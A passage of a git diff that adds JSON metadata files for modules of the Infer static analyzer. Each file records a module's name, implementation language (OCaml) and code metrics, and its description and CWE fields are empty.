Overloading();\n }\n\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SourceFiles.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SourceFiles.json new file mode 100644 index 0000000..aae3dcf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SourceFiles.json @@ -0,0 +1,13 @@ +{ + "name": "SourceFiles", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 172, + "branches": 13, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Specialization.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Specialization.json new file mode 100644 index 0000000..a2686a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Specialization.json @@ -0,0 +1,13 @@ +{ + "name": "Specialization", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 82, + "branches": 6, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SpecializedProcname.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SpecializedProcname.json new file mode 100644 index 0000000..c460875 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SpecializedProcname.json @@ -0,0 +1,13 @@ +{ + "name": "SpecializedProcname", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 22, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/StdTyp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/StdTyp.json new file mode 100644 index 0000000..417cd25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/StdTyp.json @@ -0,0 +1,13 @@ +{ + "name": "StdTyp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 52, + "branches": 0, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Struct.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Struct.json new file mode 100644 index 0000000..fa66764 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Struct.json @@ -0,0 +1,13 @@ +{ + "name": "Struct", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 334, + "branches": 55, + "apis": 64, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Subtype.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Subtype.json new file mode 100644 index 0000000..1692ee6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Subtype.json @@ -0,0 +1,13 @@ +{ + "name": "Subtype", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 78, + "branches": 15, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SwiftClassName.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SwiftClassName.json new file mode 100644 index 0000000..761b567 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/SwiftClassName.json @@ -0,0 +1,13 @@ +{ + "name": "SwiftClassName", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Tenv.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Tenv.json new file mode 100644 index 0000000..01eace7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Tenv.json @@ -0,0 +1,13 @@ +{ + "name": "Tenv", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 546, + "branches": 72, + "apis": 87, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Typ.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Typ.json new file mode 100644 index 0000000..fd51490 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Typ.json @@ -0,0 +1,13 @@ +{ + "name": "Typ", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 785, + "branches": 98, + "apis": 131, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Unop.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Unop.json new file mode 100644 index 0000000..982e114 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Unop.json @@ -0,0 +1,13 @@ +{ + "name": "Unop", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 1, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Var.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Var.json new file mode 100644 index 0000000..3670504 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/Var.json @@ -0,0 +1,13 @@ +{ + "name": "Var", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 64, + "branches": 18, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/WeakTopologicalOrder.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/WeakTopologicalOrder.json new file mode 100644 index 0000000..5c240d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/WeakTopologicalOrder.json @@ -0,0 +1,13 @@ +{ + "name": "WeakTopologicalOrder", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 183, + "branches": 12, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/inferconfig.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/inferconfig.json new file mode 100644 index 0000000..d63fc7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/inferconfig.json @@ -0,0 +1,13 @@ +{ + "name": "inferconfig", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 276, + "branches": 29, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/jConfig.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/jConfig.json new file mode 100644 index 0000000..a7cd108 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/jConfig.json @@ -0,0 +1,13 @@ +{ + "name": "jConfig", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 42, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/sourcePrinter.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/sourcePrinter.json new file mode 100644 index 0000000..2717c2d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/IR/sourcePrinter.json @@ -0,0 +1,13 @@ +{ + "name": "sourcePrinter", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 48, + "branches": 1, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractDomain.json new file mode 100644 index 0000000..09d3b6f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractDomain.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 700, + "branches": 99, + "apis": 118, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractInterpreter.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractInterpreter.json new file mode 100644 index 0000000..ff25444 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AbstractInterpreter.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractInterpreter", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 784, + "branches": 78, + "apis": 197, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessPath.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessPath.json new file mode 100644 index 0000000..dfbfc89 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessPath.json @@ -0,0 +1,13 @@ +{ + "name": "AccessPath", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 88, + "branches": 15, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessTree.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessTree.json new file mode 100644 index 0000000..57c583f --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AccessTree.json @@ -0,0 +1,13 @@ +{ + "name": "AccessTree", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 344, + "branches": 51, + "apis": 85, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisCallbacks.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisCallbacks.json new file mode 100644 index 0000000..819686d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisCallbacks.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisCallbacks", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 26, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisResult.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisResult.json new file mode 100644 index 0000000..5781938 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisResult.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisResult", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisState.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisState.json new file mode 100644 index 0000000..d1ba63b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AnalysisState.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisState", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 25, + "branches": 1, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AndroidFramework.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AndroidFramework.json new file mode 100644 index 0000000..12669b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/AndroidFramework.json @@ -0,0 +1,13 @@ +{ + "name": "AndroidFramework", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 16, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Bindings.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Bindings.json new file mode 100644 index 0000000..a2bde81 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Bindings.json @@ -0,0 +1,13 @@ +{ + "name": "Bindings", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 90, + "branches": 11, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/CallSite.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/CallSite.json new file mode 100644 index 0000000..1daf117 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/CallSite.json @@ -0,0 +1,13 @@ +{ + "name": "CallSite", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 18, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ConcurrencyModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ConcurrencyModels.json new file mode 100644 index 0000000..d8df1e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ConcurrencyModels.json @@ -0,0 +1,13 @@ +{ + "name": "ConcurrencyModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 335, + "branches": 38, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Errlog.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Errlog.json new file mode 100644 index 0000000..40f7cc4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Errlog.json @@ -0,0 +1,13 @@ +{ + "name": "Errlog", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 228, + "branches": 22, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ExplicitTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ExplicitTrace.json new file mode 100644 index 0000000..a87616a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ExplicitTrace.json @@ -0,0 +1,13 @@ +{ + "name": "ExplicitTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 91, + "branches": 2, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/FormalMap.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/FormalMap.json new file mode 100644 index 0000000..007db2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/FormalMap.json @@ -0,0 +1,13 @@ +{ + "name": "FormalMap", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 29, + "branches": 0, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilExp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilExp.json new file mode 100644 index 0000000..aea4799 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilExp.json @@ -0,0 +1,13 @@ +{ + "name": "HilExp", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 526, + "branches": 66, + "apis": 161, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilInstr.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilInstr.json new file mode 100644 index 0000000..49f84b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/HilInstr.json @@ -0,0 +1,13 @@ +{ + "name": "HilInstr", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 92, + "branches": 10, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IdAccessPathMapDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IdAccessPathMapDomain.json new file mode 100644 index 0000000..32f5ebf --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IdAccessPathMapDomain.json @@ -0,0 +1,13 @@ +{ + "name": "IdAccessPathMapDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 50, + "branches": 8, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/InterproceduralAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/InterproceduralAnalysis.json new file mode 100644 index 0000000..742f456 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/InterproceduralAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "InterproceduralAnalysis", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 18, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IntraproceduralAnalysis.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IntraproceduralAnalysis.json new file mode 100644 index 0000000..acc02a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IntraproceduralAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "IntraproceduralAnalysis", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 8, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueLog.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueLog.json new file mode 100644 index 0000000..040196e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueLog.json @@ -0,0 +1,13 @@ +{ + "name": "IssueLog", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 71, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueToReport.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueToReport.json new file mode 100644 index 0000000..8846810 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/IssueToReport.json @@ -0,0 +1,13 @@ +{ + "name": "IssueToReport", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 19, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Localise.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Localise.json new file mode 100644 index 0000000..69aa1ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Localise.json @@ -0,0 +1,13 @@ +{ + "name": "Localise", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 75, + "branches": 9, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/LowerHil.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/LowerHil.json new file mode 100644 index 0000000..e010201 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/LowerHil.json @@ -0,0 +1,13 @@ +{ + "name": "LowerHil", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 112, + "branches": 10, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MemoryAccess.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MemoryAccess.json new file mode 100644 index 0000000..0e49fbb --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MemoryAccess.json @@ -0,0 +1,13 @@ +{ + "name": "MemoryAccess", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 25, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MethodMatcher.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MethodMatcher.json new file mode 100644 index 0000000..2ce359b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/MethodMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "MethodMatcher", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 89, + "branches": 11, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Mleak_buckets.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Mleak_buckets.json new file mode 100644 index 0000000..9caa1af --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Mleak_buckets.json @@ -0,0 +1,13 @@ +{ + "name": "Mleak_buckets", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NoReturnModels.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NoReturnModels.json new file mode 100644 index 0000000..6793ed1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NoReturnModels.json @@ -0,0 +1,13 @@ +{ + "name": "NoReturnModels", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 12, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NullsafeMode.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NullsafeMode.json new file mode 100644 index 0000000..05b3043 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/NullsafeMode.json @@ -0,0 +1,13 @@ +{ + "name": "NullsafeMode", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 62, + "branches": 7, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Passthrough.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Passthrough.json new file mode 100644 index 0000000..3fce551 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Passthrough.json @@ -0,0 +1,13 @@ +{ + "name": "Passthrough", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 16, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/PatternMatch.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/PatternMatch.json new file mode 100644 index 0000000..05d9c61 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/PatternMatch.json @@ -0,0 +1,13 @@ +{ + "name": "PatternMatch", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 245, + "branches": 21, + "apis": 56, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcCfg.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcCfg.json new file mode 100644 index 0000000..461b5ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcCfg.json @@ -0,0 +1,13 @@ +{ + "name": "ProcCfg", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 326, + "branches": 16, + "apis": 87, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcnameDispatcher.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcnameDispatcher.json new file mode 100644 index 0000000..5de1dc7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/ProcnameDispatcher.json @@ -0,0 +1,13 @@ +{ + "name": "ProcnameDispatcher", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 892, + "branches": 43, + "apis": 231, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/RecursiveCycleException.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/RecursiveCycleException.json new file mode 100644 index 0000000..fe107d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/RecursiveCycleException.json @@ -0,0 +1,13 @@ +{ + "name": "RecursiveCycleException", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 8, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Reporting.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Reporting.json new file mode 100644 index 0000000..1a1bf6c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Reporting.json @@ -0,0 +1,13 @@ +{ + "name": "Reporting", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 151, + "branches": 11, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sanitizer.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sanitizer.json new file mode 100644 index 0000000..79afdb2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sanitizer.json @@ -0,0 +1,13 @@ +{ + "name": "Sanitizer", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 18, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Scheduler.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Scheduler.json new file mode 100644 index 0000000..440f301 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Scheduler.json @@ -0,0 +1,13 @@ +{ + "name": "Scheduler", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 78, + "branches": 4, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sink.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sink.json new file mode 100644 index 0000000..73aade1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Sink.json @@ -0,0 +1,13 @@ +{ + "name": "Sink", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 17, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SinkTrace.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SinkTrace.json new file mode 100644 index 0000000..934d89b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/SinkTrace.json @@ -0,0 +1,13 @@ +{ + "name": "SinkTrace", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 69, + "branches": 2, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Source.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/absint/Source.json new file mode 100644 